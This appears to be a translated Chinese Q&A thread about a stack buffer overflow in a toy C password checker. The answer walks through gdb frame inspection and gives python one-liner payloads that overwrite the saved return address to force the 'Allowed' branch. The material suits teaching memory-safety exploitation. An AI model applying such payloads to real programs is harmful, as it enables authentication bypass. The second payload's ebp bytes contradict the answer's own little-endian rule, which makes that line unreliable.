我试图使用缓冲区溢出更改函数的结果,以使用以下代码更改堆栈上的结果:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我正在使用gdb来分析堆栈,这就是我所拥有的:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf@plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit@plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
Run Code Online (Sandbox Code Playgroud)
我确定了$ ebp距离&password_buffer有多远:0xbffff6f8 - 0xbffff6e4 = 14字节
因此,使用14'A'输入,即./stackoverflowtest $(perl -e 'print "A" x 14')它应该带我"允许".
我哪里错了?导致溢出所需的输入是什么?
ASLR和gcc金丝雀被关闭.
check_auth1程序集转储:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy@plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
Run Code Online (Sandbox Code Playgroud)
这很容易被利用,这是演练的方法。
首先用 编译它-g,它可以更容易地理解你在做什么。然后,我们的目标是重写保存eip的check_auth1()并将其移动到函数中测试的 else 部分main()。
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Run Code Online (Sandbox Code Playgroud)
我们停在check_auth1()并显示堆栈帧。我们看到保存的内容eip存储在堆栈中0xffffd2ec并包含0x804853f。
让我们看看它会导致什么:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf@plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit@plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts@plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts@plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)
但事实是,我们希望避免经历测试cmpl $0x1,0x1c(%esp)并直接进入测试的 else 部分。这意味着我们要跳转到0x08048558.
无论如何,我们首先尝试看看我们的 28 ' A' 是否足以重写保存的eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Run Code Online (Sandbox Code Playgroud)
在这里,strcpy发生了溢出,所以让我们看一下堆栈框架:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Run Code Online (Sandbox Code Playgroud)
A事实上,我们用“ ”(0x41是 的十六进制代码)重写了保存的 eip A。事实上,28 正是我们所需要的,而不是更多。如果我们用目标地址替换最后四个字节就可以了。
一件事是您需要重新排序字节以考虑小字节序。那么,0x08048558就会变成\x58\x85\x04\x08。
最后,您还需要为保存的ebp值写入一些有意义的地址(不是AAAA),所以我的技巧是将最后一个地址加倍,如下所示:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Run Code Online (Sandbox Code Playgroud)
请注意,无需禁用 ASLR,因为您将在该.text部分中跳转(并且该部分不会在 ASLR 下移动)。但是,您肯定需要禁用金丝雀。
编辑ebp:我用我们保存的内容替换保存的内容是错误的eip。事实上,如果您不授予权限,ebp您在尝试退出时将会遇到段错误main。这是因为,我们确实将保存设置ebp到了节中的某处.text,即使从返回时没有问题check_auth1,在函数中返回时也会错误地恢复栈帧main(系统会认为栈位于代码)。结果就是ebp我们写的保存指向的地址(指向指令)上面的4个字节会被误认为eip是main. 因此,要么禁用 ASLR 并写入保存的ebp( 0xffffd330) 的正确地址,这将导致
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Run Code Online (Sandbox Code Playgroud)
或者,您需要执行 ROP 来执行清理exit(0)(这通常很容易实现)。